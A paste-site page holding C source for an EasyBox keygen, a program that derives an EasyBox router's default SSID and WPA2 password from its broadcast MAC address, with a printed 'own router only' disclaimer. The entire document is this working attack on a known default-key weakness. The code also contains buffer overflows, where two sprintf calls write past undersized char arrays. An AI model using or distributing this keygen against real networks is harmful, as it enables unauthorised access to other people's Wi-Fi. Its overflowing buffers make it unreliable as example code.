easybox keygen - C Source


SUBMITTED BY: Guest

DATE: Dec. 3, 2013, 1:23 p.m.

FORMAT: C++

SIZE: 1.7 kB

HITS: 724

  1. #include<stdlib.h>
  2. #include<stdio.h>
  3. int main() {
  4. printf("EasyBox-Keygen for Standard WPA2-Password.\n");
  5. printf("By Sebastian Petters\n");
  6. printf("http://www.wotan.cc\n");
  7. printf("Use this only on your own Router\n");
  8. unsigned int mac_1, mac_2, mac_3, mac_4, mac_5, mac_6;
  9. unsigned int m7, m8, m9, m10, m11, m12;
  10. printf("MAC-Adress [00:00:00:00:00:00]: ");
  11. scanf("%2X:%2X:%2X:%2X:%2X:%2X", &mac_1, &mac_2, &mac_3, &mac_4, &mac_5, &mac_6);
  12. m7 = mac_4 >> 4 & 0x0f;
  13. m8 = mac_4 & 0x0f;
  14. m9 = mac_5 >> 4 & 0x0f;
  15. m10 = mac_5 & 0x0f;
  16. m11 = mac_6 >> 4 & 0x0f;
  17. m12 = mac_6 & 0x0f;
  18. char last4[4];
  19. sprintf(last4, "%1X%1X%1X%1X", m9, m10, m11, m12);
  20. int smac;
  21. sscanf(last4, "%X", &smac);
  22. printf("\nSMAC: %i", smac);
  23. char smacs[5];
  24. sprintf(smacs, "%05d", smac);
  25. int s6, s7, s8, s9, s10;
  26. s6 = smacs[0] - '0';
  27. s7 = smacs[1] - '0';
  28. s8 = smacs[2] - '0';
  29. s9 = smacs[3] - '0';
  30. s10 = smacs[4] - '0';
  31. printf("\nSSID: EasyBox-%1X%1X%1X%1X%1X%1X",m7, m8, m9, m10, s6, s10);
  32. int k1, k2;
  33. k1 = (s7 + s8 + m11 + m12) & 0x0f;
  34. k2 = (m9 + m10 +s9 + s10) & 0x0f;
  35. printf("\nK1: %1X", k1);
  36. printf("\nK2: %1X", k2);
  37. int x1, x2, x3, y1, y2, y3, z1, z2, z3;
  38. x1 = k1 ^ s10;
  39. x2 = k1 ^ s9;
  40. x3 = k1 ^ s8;
  41. y1 = k2 ^ m10;
  42. y2 = k2 ^ m11;
  43. y3 = k2 ^ m12;
  44. z1 = m11 ^ s10;
  45. z2 = m12 ^ s9;
  46. z3 = k1 ^ k2;
  47. printf("\nWPA2-Key: %1X%1X%1X%1X%1X%1X%1X%1X%1X\n", x1, y1, z1, x2, y2, z2, x3, y3, z3);
  48. return 0;
  49. }

comments powered by Disqus